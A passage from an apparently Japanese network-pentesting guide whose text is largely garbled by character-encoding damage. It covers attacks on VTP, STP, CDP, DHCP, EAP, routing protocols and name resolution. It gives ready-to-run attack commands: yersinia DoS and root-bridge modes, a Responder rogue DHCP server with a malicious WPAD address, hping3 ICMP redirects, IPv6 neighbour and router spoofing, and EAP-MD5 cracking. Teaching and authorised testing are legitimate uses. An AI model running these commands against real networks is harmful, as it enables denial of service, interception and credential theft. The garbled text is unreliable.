- VTPã¯ã©ã€ã¢ã³ãïŒ VTPã¢ããŠã³ã¹ãåä¿¡ããèªèº«ã®VLANããŒã¿ããŒã¹ãåæããŸãããã®åœ¹å²ã¯ããŒã«ã«VLANèšå®ã®å€æŽãå¶éãããŠããŸãã
- VTPãã©ã³ã¹ãã¢ã¬ã³ãïŒ VTPæŽæ°ã«é¢äžãããVTPã¢ããŠã³ã¹ã転éããŸããVTPæ»æã®åœ±é¿ãåããããªããžã§ã³çªå·ã¯åžžã«ãŒãã®ãŸãŸã§ãã
VTP Advertisement Types
- ãµããªãŒã¢ããŠã³ã¹ïŒ VTPãµãŒããŒã«ãã£ãŠ300ç§ããšã«ãããŒããã£ã¹ããããéèŠãªãã¡ã€ã³æ å ±ãå«ã¿ãŸãã
- ãµãã»ããã¢ããŠã³ã¹ïŒ VLANèšå®å€æŽåŸã«éä¿¡ãããŸãã
- ã¢ããŠã³ã¹ãªã¯ãšã¹ãïŒ VTPã¯ã©ã€ã¢ã³ãã«ãã£ãŠãµããªãŒã¢ããŠã³ã¹ãèŠæ±ããããã«çºè¡ãããéåžžã¯ããé«ãèšå®ãªããžã§ã³çªå·ãæ€åºããéã«è¡ãããŸãã
VTPã®è匱æ§ã¯ãVTPã¢ããŠã³ã¹ããã©ã³ã¯ããŒããéããŠã®ã¿åŸªç°ããããããã©ã³ã¯ããŒããä»ããŠã®ã¿æªçšå¯èœã§ããDTPæ»æåŸã®ã·ããªãªã¯VTPã«ç§»è¡ããå¯èœæ§ããããŸããYersiniaã®ãããªããŒã«ã¯ãVLANããŒã¿ããŒã¹ãæ¶å»ãããããã¯ãŒã¯ãå¹æçã«æ··ä¹±ãããããšãç®çãšããVTPæ»æãæ¯æŽã§ããŸãã
泚ïŒãã®è°è«ã¯VTPããŒãžã§ã³1ïŒVTPv1ïŒã«é¢ãããã®ã§ãã
%% yersinia -G # Launch Yersinia in graphical mode ```
Yersiniaã®ã°ã©ãã£ã«ã«ã¢ãŒãã§ãVLANããŒã¿ããŒã¹ãåé€ããããã«ãã¹ãŠã®VTP VLANãåé€ãããªãã·ã§ã³ãéžæããŸãã
STPæ»æ
ã€ã³ã¿ãŒãã§ãŒã¹ã§BPDUãã¬ãŒã ããã£ããã£ã§ããªãå ŽåãSTPæ»æã«æåããå¯èœæ§ã¯äœãã§ãã
STP BPDU DoS
å€ãã®BPDU TCPïŒããããžå€æŽéç¥ïŒãConfïŒããããžãäœæããããšãã«éä¿¡ãããBPDUïŒãéä¿¡ãããšãã¹ã€ãããéè² è·ã«ãªããæ£ããåäœããªããªããŸãã
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
STP TCPæ»æ
TCPãéä¿¡ããããšãã¹ã€ããã®CAMããŒãã«ã¯15ç§ã§åé€ãããŸãããã®åŸããã®çš®ã®ãã±ãããç¶ç¶çã«éä¿¡ããŠãããšãCAMããŒãã«ã¯ç¶ç¶çã«ïŒãŸãã¯15ç§ããšã«ïŒåèµ·åãããåèµ·åããããšã¹ã€ããã¯ããã®ããã«åäœããŸãã
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
STPã«ãŒãæ»æ
æ»æè
ã¯ã¹ã€ããã®åäœãæš¡å£ããŠãããã¯ãŒã¯ã®STPã«ãŒãã«ãªããŸããããã«ãããããå€ãã®ããŒã¿ã圌ãééããŸããããã¯ãç°ãªã2ã€ã®ã¹ã€ããã«æ¥ç¶ãããŠãããšãã«èå³æ·±ãã§ãã
ããã¯ãåªå
床å€ãå®éã®ã«ãŒãã¹ã€ããã®å®éã®åªå
床ãããäœããšäŒããBPDUs CONFãã±ãããéä¿¡ããããšã«ãã£ãŠè¡ãããŸãã
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
æ»æè ã2ã€ã®ã¹ã€ããã«æ¥ç¶ãããŠããå Žåã圌ã¯æ°ããããªãŒã®ã«ãŒãã«ãªãããããã®ã¹ã€ããéã®ãã¹ãŠã®ãã©ãã£ãã¯ã圌ãééããŸãïŒMITMæ»æãå®è¡ãããŸãïŒã
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
CDPæ»æ
CISCO Discovery Protocol (CDP)ã¯ãCISCOããã€ã¹éã®éä¿¡ã«äžå¯æ¬ ã§ãããäºããèå¥ããèšå®è©³çŽ°ãå ±æããããšãå¯èœã«ããŸãã
ããã·ãããŒã¿åé
CDPã¯ãã¹ãŠã®ããŒããéããŠæ å ±ããããŒããã£ã¹ãããããã«èšå®ãããŠããããããã»ãã¥ãªãã£ãªã¹ã¯ã«ã€ãªããå¯èœæ§ããããŸããæ»æè ã¯ã¹ã€ããããŒãã«æ¥ç¶ãããšãWiresharkãtcpdumpããŸãã¯Yersiniaã®ãããªãããã¯ãŒã¯ã¹ããã¡ãŒãå±éããããšãã§ããŸãããã®è¡åã¯ããããã¯ãŒã¯ããã€ã¹ã«é¢ããæ©å¯ããŒã¿ãã¢ãã«ãå®è¡äžã®Cisco IOSã®ããŒãžã§ã³ãæããã«ããå¯èœæ§ããããŸããæ»æè ã¯ãç¹å®ã®Cisco IOSããŒãžã§ã³ã®è匱æ§ãã¿ãŒã²ããã«ãããããããŸããã
CDPããŒãã«ãã©ããã£ã³ã°ã®èªçº
ããæ»æçãªã¢ãããŒãã¯ãæ£åœãªCISCOããã€ã¹ãè£ ã£ãŠã¹ã€ããã®ã¡ã¢ãªãå§åããããšã«ãã£ãŠãµãŒãã¹æåŠïŒDoSïŒæ»æãéå§ããããšã§ãã以äžã¯ããã¹ãçšã«èšèšããããããã¯ãŒã¯ããŒã«Yersiniaã䜿çšããŠãã®ãããªæ»æãéå§ããããã®ã³ãã³ãã·ãŒã±ã³ã¹ã§ãïŒ
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
ãã®æ»æäžãã¹ã€ããã®CPUãšCDPé£æ¥ããŒãã«ã¯å€§ããªè² æ ãåããéå°ãªãªãœãŒã¹æ¶è²»ã«ããããã°ãã°**ããããã¯ãŒã¯éº»çºã**ãšåŒã°ããç¶æ ã«ãªããŸãã
CDPãªãããŸãæ»æ
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
You could also use scapy. Be sure to install it with scapy/contrib
package.
VoIPæ»æãšVoIP HopperããŒã«
VoIPé»è©±ã¯ãIoTããã€ã¹ãšãŸããŸãçµ±åãããŠãããç¹å¥ãªé»è©±çªå·ãéããŠãã¢ã®è§£é ããµãŒã¢ã¹ã¿ããã®å¶åŸ¡ãªã©ã®æ©èœãæäŸããŸãããããããã®çµ±åã¯ã»ãã¥ãªãã£ãªã¹ã¯ãããããå¯èœæ§ããããŸãã
ããŒã«voiphopperã¯ãããŸããŸãªç°å¢ïŒCiscoãAvayaãNortelãAlcatel-LucentïŒã§VoIPé»è©±ããšãã¥ã¬ãŒãããããã«èšèšãããŠããŸããCDPãDHCPãLLDP-MEDã802.1Q ARPãªã©ã®ãããã³ã«ã䜿çšããŠãé³å£°ãããã¯ãŒã¯ã®VLAN IDãçºèŠããŸãã
VoIP Hopperã¯ãCisco Discovery Protocol (CDP)ã®ããã®3ã€ã®ã¢ãŒããæäŸããŸãïŒ
- ã¹ããã¢ãŒã (
-c 0
): ãããã¯ãŒã¯ãã±ãããåæããŠVLAN IDãç¹å®ããŸãã - ã¹ããŒãã¢ãŒã (
-c 1
): å®éã®VoIPããã€ã¹ã®ãã±ãããæš¡å£ããã«ã¹ã¿ã ãã±ãããçæããŸãã - äºåäœæãã±ããã¢ãŒã (
-c 2
): ç¹å®ã®Cisco IPé»è©±ã¢ãã«ã®ãã±ãããšåäžã®ãã±ãããéä¿¡ããŸãã
é床ã®ããã«æšå¥šãããã¢ãŒãã¯3çªç®ã§ãã次ã®ããšãæå®ããå¿ èŠããããŸãïŒ
- æ»æè
ã®ãããã¯ãŒã¯ã€ã³ã¿ãŒãã§ãŒã¹ïŒ
-i
ãã©ã¡ãŒã¿ïŒã - ãšãã¥ã¬ãŒããããVoIPããã€ã¹ã®ååïŒ
-E
ãã©ã¡ãŒã¿ïŒãCiscoã®åœå圢åŒã«åŸãïŒäŸïŒSEPã®åŸã«MACã¢ãã¬ã¹ïŒã
äŒæ¥ç°å¢ã§ã¯ãæ¢åã®VoIPããã€ã¹ãæš¡å£ããããã«ã次ã®ããšãè¡ãããšããããŸãïŒ
- é»è©±ã®MACã©ãã«ã確èªããã
- é»è©±ã®ãã£ã¹ãã¬ã€èšå®ãããã²ãŒãããŠã¢ãã«æ å ±ã衚瀺ããã
- VoIPããã€ã¹ãã©ãããããã«æ¥ç¶ããWiresharkã䜿çšããŠCDPãªã¯ãšã¹ãã芳å¯ããã
ããŒã«ã3çªç®ã®ã¢ãŒãã§å®è¡ããããã®ã³ãã³ãã®äŸã¯æ¬¡ã®ãšããã§ãïŒ
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
DHCPæ»æ
åæ
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 192.168.1.250
| DHCP Message Type: DHCPOFFER
| Server Identifier: 192.168.1.1
| IP Address Lease Time: 1m00s
| Subnet Mask: 255.255.255.0
| Router: 192.168.1.1
| Domain Name Server: 192.168.1.1
|_ Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
DoS
DoSã®2çš®é¡ã¯DHCPãµãŒããŒã«å¯ŸããŠå®è¡ã§ããŸããæåã®ãã®ã¯ããã¹ãŠã®å¯èœãªIPã¢ãã¬ã¹ã䜿çšããããã«ååãªåœã®ãã¹ããã·ãã¥ã¬ãŒãããããšã§ãã
ãã®æ»æã¯ãDHCPãµãŒããŒã®å¿çã確èªãããããã³ã«ãå®äºã§ããå Žåã«ã®ã¿æ©èœããŸãïŒDiscover (Comp) --> Offer (server) --> Request (Comp) --> ACK (server)ïŒãäŸãã°ãããã¯Wifiãããã¯ãŒã¯ã§ã¯äžå¯èœã§ãã
DHCP DoSãå®è¡ããå¥ã®æ¹æ³ã¯ããã¹ãŠã®å¯èœãªIPããœãŒã¹ã³ãŒããšããŠäœ¿çšããŠDHCP-RELEASEãã±ãããéä¿¡ããããšã§ãããããããšããµãŒããŒã¯èª°ãIPã®äœ¿çšãçµäºãããšèããŸãã
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
ããèªååãããæ¹æ³ã¯ãããŒã« DHCPing ã䜿çšããããšã§ãã
åè¿°ã®DoSæ»æã䜿çšããŠãã¯ã©ã€ã¢ã³ããç°å¢å ã§æ°ãããªãŒã¹ãååŸãããã匷å¶ããæ£åœãªãµãŒããŒãæ¯æžãããŠå¿çããªãããããšãã§ããŸãããããã£ãŠãæ£åœãªãµãŒããŒãåæ¥ç¶ããããšãããšã次ã®æ»æã§èšåãããæªæã®ããå€ãæäŸã§ããŸãã
æªæã®ããå€ãèšå®ãã
äžæ£ãªDHCPãµãŒããŒã¯ã/usr/share/responder/DHCP.py
ã«ããDHCPã¹ã¯ãªããã䜿çšããŠèšå®ã§ããŸããããã¯ããã©ãã£ãã¯ãæªæã®ãããµãŒããŒã«ãªãã€ã¬ã¯ãããããšã«ãã£ãŠãHTTPãã©ãã£ãã¯ãèªèšŒæ
å ±ããã£ããã£ããããã®ãããã¯ãŒã¯æ»æã«åœ¹ç«ã¡ãŸãããã ããäžæ£ãªã²ãŒããŠã§ã€ãèšå®ããããšã¯ãã¯ã©ã€ã¢ã³ãããã®ã¢ãŠãããŠã³ããã©ãã£ãã¯ããã£ããã£ããã ãã§ãå®éã®ã²ãŒããŠã§ã€ããã®å¿çãèŠéããããå¹æãèãã§ãã代ããã«ãäžæ£ãªDNSãŸãã¯WPADãµãŒããŒãèšå®ããããšããããå¹æçãªæ»æã®ããã«æšå¥šãããŸãã
以äžã¯ãäžæ£ãªDHCPãµãŒããŒãæ§æããããã®ã³ãã³ããªãã·ã§ã³ã§ãïŒ
- ç§ãã¡ã®IPã¢ãã¬ã¹ïŒã²ãŒããŠã§ã€åºåïŒ:
-i 10.0.0.100
ã䜿çšããŠãããªãã®ãã·ã³ã®IPãã²ãŒããŠã§ã€ãšããŠåºåããŸãã - ããŒã«ã«DNSãã¡ã€ã³å: ä»»æã§ã
-d example.org
ã䜿çšããŠããŒã«ã«DNSãã¡ã€ã³åãèšå®ããŸãã - å
ã®ã«ãŒã¿ãŒ/ã²ãŒããŠã§ã€IP:
-r 10.0.0.1
ã䜿çšããŠãæ£åœãªã«ãŒã¿ãŒãŸãã¯ã²ãŒããŠã§ã€ã®IPã¢ãã¬ã¹ãæå®ããŸãã - ãã©ã€ããªDNSãµãŒããŒIP:
-p 10.0.0.100
ã䜿çšããŠãããªããå¶åŸ¡ããäžæ£ãªDNSãµãŒããŒã®IPã¢ãã¬ã¹ãèšå®ããŸãã - ã»ã«ã³ããªDNSãµãŒããŒIP: ä»»æã§ã
-s 10.0.0.1
ã䜿çšããŠã»ã«ã³ããªDNSãµãŒããŒã®IPãèšå®ããŸãã - ããŒã«ã«ãããã¯ãŒã¯ã®ããããã¹ã¯:
-n 255.255.255.0
ã䜿çšããŠãããŒã«ã«ãããã¯ãŒã¯ã®ããããã¹ã¯ãå®çŸ©ããŸãã - DHCPãã©ãã£ãã¯çšã€ã³ã¿ãŒãã§ãŒã¹:
-I eth1
ã䜿çšããŠãç¹å®ã®ãããã¯ãŒã¯ã€ã³ã¿ãŒãã§ãŒã¹ã§DHCPãã©ãã£ãã¯ããªãã¹ã³ããŸãã - WPADæ§æã¢ãã¬ã¹:
-w âhttp://10.0.0.100/wpad.datâ
ã䜿çšããŠããŠã§ããã©ãã£ãã¯ã®ååãæ¯æŽããWPADæ§æã®ã¢ãã¬ã¹ãèšå®ããŸãã - ããã©ã«ãã²ãŒããŠã§ã€IPãåœè£
:
-S
ãå«ããŠãããã©ã«ãã²ãŒããŠã§ã€ã®IPã¢ãã¬ã¹ãåœè£ ããŸãã - ãã¹ãŠã®DHCPãªã¯ãšã¹ãã«å¿ç:
-R
ãå«ããŠããµãŒããŒããã¹ãŠã®DHCPãªã¯ãšã¹ãã«å¿çããããã«ããŸãããããã¯ãã€ãžãŒã§æ€åºãããå¯èœæ§ãããããšã«æ³šæããŠãã ããã
ãããã®ãªãã·ã§ã³ãæ£ãã䜿çšããããšã§ãäžæ£ãªDHCPãµãŒããŒãå¹æçã«èšå®ãããããã¯ãŒã¯ãã©ãã£ãã¯ãååããããšãã§ããŸãã
# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
EAPæ»æ
ããã§ã¯ã802.1Xå®è£ ã«å¯ŸããŠäœ¿çšã§ããæ»ææŠè¡ã®ããã€ãã瀺ããŸãïŒ
- EAPãä»ããã¢ã¯ãã£ããªãã«ãŒããã©ãŒã¹ãã¹ã¯ãŒãã°ã©ã€ã³ãã£ã³ã°
- 圢åŒãäžæ£ãªEAPã³ã³ãã³ãã䜿çšããŠRADIUSãµãŒããŒãæ»æãã **(ãšã¯ã¹ããã€ã)
- EAPã¡ãã»ãŒãžã®ãã£ããã£ãšãªãã©ã€ã³ãã¹ã¯ãŒãã¯ã©ããã³ã°ïŒEAP-MD5ããã³PEAPïŒ
- TLS蚌ææžæ€èšŒããã€ãã¹ããããã«EAP-MD5èªèšŒã匷å¶ãã
- ãããé¡äŒŒã®ãã®ã䜿çšããŠèªèšŒæã«æªæã®ãããããã¯ãŒã¯ãã©ãã£ãã¯ãæ³šå ¥ãã
æ»æè ã被害è ãšèªèšŒãµãŒããŒã®éã«ããå Žåãå¿ èŠã«å¿ããŠèªèšŒãããã³ã«ãEAP-MD5ã«ããŠã³ã°ã¬ãŒãããèªèšŒè©Šè¡ããã£ããã£ããããšããããšãã§ããŸãããã®åŸã次ã®æ¹æ³ã§ãã«ãŒããã©ãŒã¹æ»æãè¡ãããšãã§ããŸãïŒ
eapmd5pass âr pcap.dump âw /usr/share/wordlist/sqlmap.txt
FHRP (GLBP & HSRP) Attacks
FHRP (First Hop Redundancy Protocol) ã¯ããããåé·ã«ãŒãã£ã³ã°ã·ã¹ãã ãäœæããããã«èšèšããããããã¯ãŒã¯ãããã³ã«ã®ã¯ã©ã¹ã§ããFHRPã䜿çšãããšãç©çã«ãŒã¿ãŒãåäžã®è«çããã€ã¹ã«çµ±åã§ããé害èæ§ãåäžããè² è·ã®åæ£ãå©ããããŸãã
Cisco Systemsã®ãšã³ãžãã¢ã¯ãGLBPãšHSRPã®2ã€ã®FHRPãããã³ã«ãéçºããŸããã
{% content-ref url="glbp-and-hsrp-attacks.md" %} glbp-and-hsrp-attacks.md {% endcontent-ref %}
RIP
ã«ãŒãã£ã³ã°æ å ±ãããã³ã«ïŒRIPïŒã®3ã€ã®ããŒãžã§ã³ãååšããããšãç¥ãããŠããŸãïŒRIPãRIPv2ãããã³RIPngãRIPãšRIPv2ã¯ãUDPã䜿çšããŠããŒã520çµç±ã§ãã¢ã«ããŒã¿ã°ã©ã ãéä¿¡ããŸãããRIPngã¯ãIPv6ãã«ããã£ã¹ããä»ããŠUDPããŒã521ã«ããŒã¿ã°ã©ã ããããŒããã£ã¹ãããŸããMD5èªèšŒã®ãµããŒãã¯RIPv2ã«ãã£ãŠå°å ¥ãããŸãããäžæ¹ãRIPngã«ã¯ãã€ãã£ãèªèšŒãçµã¿èŸŒãŸããŠãããã代ããã«IPv6å ã®ãªãã·ã§ã³ã®IPsec AHããã³ESPããããŒã«äŸåããŠããŸãã
- RIPãšRIPv2ïŒ éä¿¡ã¯ããŒã520ã®UDPããŒã¿ã°ã©ã ãä»ããŠè¡ãããŸãã
- RIPngïŒ IPv6ãã«ããã£ã¹ããä»ããŠããŒã¿ã°ã©ã ããããŒããã£ã¹ãããããã«UDPããŒã521ãå©çšããŸãã
RIPv2ã¯MD5èªèšŒããµããŒãããŠããäžæ¹ã§ãRIPngã¯ãã€ãã£ãèªèšŒãå«ãŸããIPv6å ã®IPsec AHããã³ESPããããŒã«äŸåããŠããŸãã
EIGRP Attacks
EIGRP (Enhanced Interior Gateway Routing Protocol) ã¯åçã«ãŒãã£ã³ã°ãããã³ã«ã§ããããã¯è·é¢ãã¯ãã«ãããã³ã«ã§ãã èªèšŒããªããååã€ã³ã¿ãŒãã§ãŒã¹ã®èšå®ããªãå ŽåãäŸµå ¥è ã¯EIGRPã«ãŒãã£ã³ã°ã«å¹²æžããã«ãŒãã£ã³ã°ããŒãã«ã®äžæ¯ãåŒãèµ·ããå¯èœæ§ããããŸããããã«ãEIGRPãããã¯ãŒã¯ïŒèšãæããã°ãèªåŸã·ã¹ãã ïŒã¯ãã©ããã§ããããŸãŒã³ã«åå²ãããŠããŸãããæ»æè ãã«ãŒããæ³šå ¥ãããšããã®ã«ãŒãã¯èªåŸEIGRPã·ã¹ãã å šäœã«åºããå¯èœæ§ããããŸãã
EIGRPã·ã¹ãã ãæ»æããã«ã¯ãæ£åœãªEIGRPã«ãŒã¿ãŒãšã®é£æ¥é¢ä¿ã確ç«ããå¿ èŠããããããã«ããåºæ¬çãªåµå¯ããããŸããŸãªæ³šå ¥ãŸã§å€ãã®å¯èœæ§ãéãããŸãã
FRRouting ã¯ãBGPãOSPFãEIGRPãRIPããã³ãã®ä»ã®ãããã³ã«ããµããŒãããä»®æ³ã«ãŒã¿ãŒãå®è£ ããããšãå¯èœã«ããŸãã ãããæ»æè ã®ã·ã¹ãã ã«å±éããã ãã§ãå®éã«ã«ãŒãã£ã³ã°ãã¡ã€ã³å ã®æ£åœãªã«ãŒã¿ãŒã®ãµããããããšãã§ããŸãã
{% content-ref url="eigrp-attacks.md" %} eigrp-attacks.md {% endcontent-ref %}
Coly ã¯ãEIGRPïŒEnhanced Interior Gateway Routing ProtocolïŒãããŒããã£ã¹ããååããæ©èœãæã£ãŠããŸãããŸãããã±ããã®æ³šå ¥ãå¯èœã«ããã«ãŒãã£ã³ã°æ§æãå€æŽããããã«å©çšã§ããŸãã
OSPF
Open Shortest Path First (OSPF) ãããã³ã«ã§ã¯ãã«ãŒã¿ãŒéã®å®å šãªéä¿¡ã確ä¿ããããã«MD5èªèšŒãäžè¬çã«äœ¿çšãããŸãããããããã®ã»ãã¥ãªãã£å¯Ÿçã¯ãLokiãJohn the Ripperã®ãããªããŒã«ã䜿çšããŠäŸµå®³ãããå¯èœæ§ããããŸãããããã®ããŒã«ã¯MD5ããã·ã¥ããã£ããã£ããŠè§£èªããããšãã§ããèªèšŒããŒãæŽé²ããŸãããã®ããŒãååŸããããšãæ°ããã«ãŒãã£ã³ã°æ å ±ãå°å ¥ããããã«äœ¿çšã§ããŸããã«ãŒããã©ã¡ãŒã¿ãèšå®ãã䟵害ãããããŒã確ç«ããããã«ã_Injection_ããã³_Connection_ã¿ããããããå©çšãããŸãã
- MD5ããã·ã¥ã®ãã£ããã£ãšè§£èªïŒ LokiãJohn the Ripperã®ãããªããŒã«ããã®ç®çã§äœ¿çšãããŸãã
- ã«ãŒããã©ã¡ãŒã¿ã®èšå®ïŒ ããã¯_Injection_ã¿ããéããŠè¡ãããŸãã
- 䟵害ãããããŒã®èšå®ïŒ ããŒã¯_Connection_ã¿ãã§èšå®ãããŸãã
Other Generic Tools & Sources
- Above: ãããã¯ãŒã¯ãã©ãã£ãã¯ãã¹ãã£ã³ããè匱æ§ãèŠã€ããããŒã«
- ãããã¯ãŒã¯æ»æã«é¢ãã 詳现æ å ± ãèŠã€ããããšãã§ããŸãã
Spoofing
æ»æè ã¯ãåœã®DHCPå¿çãéä¿¡ããŠãããã¯ãŒã¯ã®æ°ããã¡ã³ããŒã®ãã¹ãŠã®ãããã¯ãŒã¯ãã©ã¡ãŒã¿ïŒGWãIPãDNSïŒãèšå®ããŸãã
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
ARP Spoofing
Check the previous section.
ICMPRedirect
ICMPãªãã€ã¬ã¯ãã¯ãæ»æè ãIPã«å°éããæè¯ã®æ¹æ³ã§ããããšã瀺ãICMPãã±ããã¿ã€ã1ã³ãŒã5ãéä¿¡ããããšããæããŸãã次ã«ã被害è ãIPã«é£çµ¡ãããå Žåãæ»æè ãéããŠãã±ãããéä¿¡ããŸãã
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
DNS Spoofing
æ»æè ã¯ã被害è ãèŠæ±ããããã€ãïŒãŸãã¯ãã¹ãŠïŒã®ãã¡ã€ã³ã解決ããŸãã
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
dnsmasqã䜿çšããŠç¬èªã®DNSãæ§æãã
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
ããŒã«ã«ã²ãŒããŠã§ã€
ã·ã¹ãã ããããã¯ãŒã¯ãžã®è€æ°ã®ã«ãŒããååšããããšããããããŸããããŒã«ã«ãããã¯ãŒã¯å ã®MACã¢ãã¬ã¹ã®ãªã¹ããäœæãããã_gateway-finder.py_ã䜿çšããŠIPv4ãã©ã¯ãŒãã£ã³ã°ããµããŒããããã¹ããç¹å®ããŸãã
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100 00:13:72:09:ad:76 Dell Inc.
10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION
10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.
root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
Spoofing LLMNR, NBT-NS, and mDNS
DNSã«ãã¯ã¢ããã倱æããå ŽåãMicrosoftã·ã¹ãã ã¯Link-Local Multicast Name Resolution (LLMNR)ãšNetBIOS Name Service (NBT-NS)ã«äŸåããŸããåæ§ã«ãApple BonjourãLinuxãŒãã³ã³ãã£ã®ã¥ã¬ãŒã·ã§ã³ã®å®è£ ã¯ããããã¯ãŒã¯å ã®ã·ã¹ãã ãçºèŠããããã«**Multicast DNS (mDNS)**ãå©çšããŸãããããã®ãããã³ã«ã¯èªèšŒãããŠããããUDPäžã§ã¡ãã»ãŒãžããããŒããã£ã¹ããããããæ»æè ããŠãŒã¶ãŒãæªæã®ãããµãŒãã¹ã«ãªãã€ã¬ã¯ãããããã«æªçšããããšãã§ããŸãã
Responderã䜿çšããŠãã¹ãã«ãã£ãŠæ€çŽ¢ããããµãŒãã¹ãåœè£
ããåœã®å¿çãéä¿¡ããããšãã§ããŸãã
Responderã䜿çšããŠãµãŒãã¹ãåœè£
ããæ¹æ³ã«ã€ããŠã®è©³çŽ°ã¯ãã¡ãããèªã¿ãã ããã
Spoofing WPAD
ãã©ãŠã¶ã¯äžè¬çã«Web Proxy Auto-Discovery (WPAD)ãããã³ã«ã䜿çšããŠèªåçã«ãããã·èšå®ãååŸããŸããããã¯ãç¹ã«ãhttp://wpad.example.org/wpad.datãã®ãããªURLãä»ããŠãµãŒããŒããæ§æ詳现ãååŸããããšãå«ã¿ãŸãããã®ãµãŒããŒã®çºèŠã¯ãã¯ã©ã€ã¢ã³ãã«ãã£ãŠããŸããŸãªã¡ã«ããºã ãéããŠè¡ãããå¯èœæ§ããããŸãïŒ
- DHCPãéããŠãç¹å¥ãªã³ãŒã252ãšã³ããªãå©çšããŠçºèŠãä¿é²ãããŸãã
- DNSã«ãã£ãŠãããŒã«ã«ãã¡ã€ã³å ã§_wpad_ãšããã©ãã«ã®ä»ãããã¹ãåãæ€çŽ¢ããŸãã
- Microsoft LLMNRããã³NBT-NSãä»ããŠãDNSã«ãã¯ã¢ãããæåããªãå Žåã«äœ¿çšããããã©ãŒã«ããã¯ã¡ã«ããºã ã§ãã
ããŒã«Responderã¯ããã®ãããã³ã«ãå©çšããŠæªæã®ããWPADãµãŒããŒãšããŠæ©èœããŸããDHCPãDNSãLLMNRãããã³NBT-NSã䜿çšããŠãã¯ã©ã€ã¢ã³ãã誀å°ããŠæ¥ç¶ãããŸããResponderã䜿çšããŠãµãŒãã¹ãåœè£ ããæ¹æ³ã«ã€ããŠããã«è©³ããã¯ããã¡ãã確èªããŠãã ããã
Spoofing SSDP and UPnP devices
ãããã¯ãŒã¯å ã§ç°ãªããµãŒãã¹ãæäŸããŠããŠãŒã¶ãŒãéšããŠãã¬ãŒã³ããã¹ãã®èªèšŒæ å ±ãå ¥åãããããšãã§ããŸãã**ãã®æ»æã«é¢ãã詳现ã¯ãSpoofing SSDP and UPnP Devicesã§ç¢ºèªã§ããŸãã
IPv6 Neighbor Spoofing
ãã®æ»æã¯ARP Spoofingã«éåžžã«äŒŒãŠããŸãããIPv6ã®äžçã§è¡ãããŸãã被害è ã¯ãGWã®IPv6ãæ»æè ã®MACãæã£ãŠãããšèããããã«ãªããŸãã
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
IPv6ã«ãŒã¿ãŒåºåã®ã¹ããŒãã£ã³ã°/ãã©ããã£ã³ã°
äžéšã®OSã¯ããããã¯ãŒã¯å ã§éä¿¡ãããRAãã±ããããããã©ã«ãã§ã²ãŒããŠã§ã€ãèšå®ããŸããæ»æè ãIPv6ã«ãŒã¿ãŒãšããŠå®£èšããã«ã¯ã次ã®ããã«ããŸã:
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
IPv6 DHCPã¹ããŒãã£ã³ã°
ããã©ã«ãã§ã¯ãäžéšã®OSã¯ãããã¯ãŒã¯å ã®DHCPv6ãã±ãããèªã¿åã£ãŠDNSãæ§æããããšããŸããããã«ãããæ»æè ã¯èªåèªèº«ãDNSãšããŠæ§æããããã«DHCPv6ãã±ãããéä¿¡ããããšãã§ããŸããDHCPã¯ãŸãã被害è ã«IPv6ãæäŸããŸãã
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
mitm6
HTTP (åœããŒãžãšJSã³ãŒãæ³šå ¥)
ã€ã³ã¿ãŒãããæ»æ
sslStrip
